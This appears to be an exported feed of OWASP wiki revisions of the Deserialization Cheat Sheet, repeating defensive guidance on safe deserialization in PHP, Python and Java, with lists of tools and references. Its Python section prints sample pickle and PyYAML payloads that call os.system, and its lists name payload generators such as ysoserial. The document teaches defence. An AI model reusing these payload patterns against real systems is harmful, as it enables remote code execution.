* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239456</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239456"/>
				<updated>2018-04-07T01:58:27Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: updated toolset&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data may include 'ACED0005' in hex-ascii encoded bytes, it may suggest that the data was sent in Java serialization streams&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239455</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239455"/>
				<updated>2018-04-07T01:45:13Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: Add toolkits&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data may include 'ACED0005' in hex-ascii encoded bytes, it may suggest that the data was sent in Java serialization streams&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239454</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239454"/>
				<updated>2018-04-07T01:34:15Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: updated tools kits&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
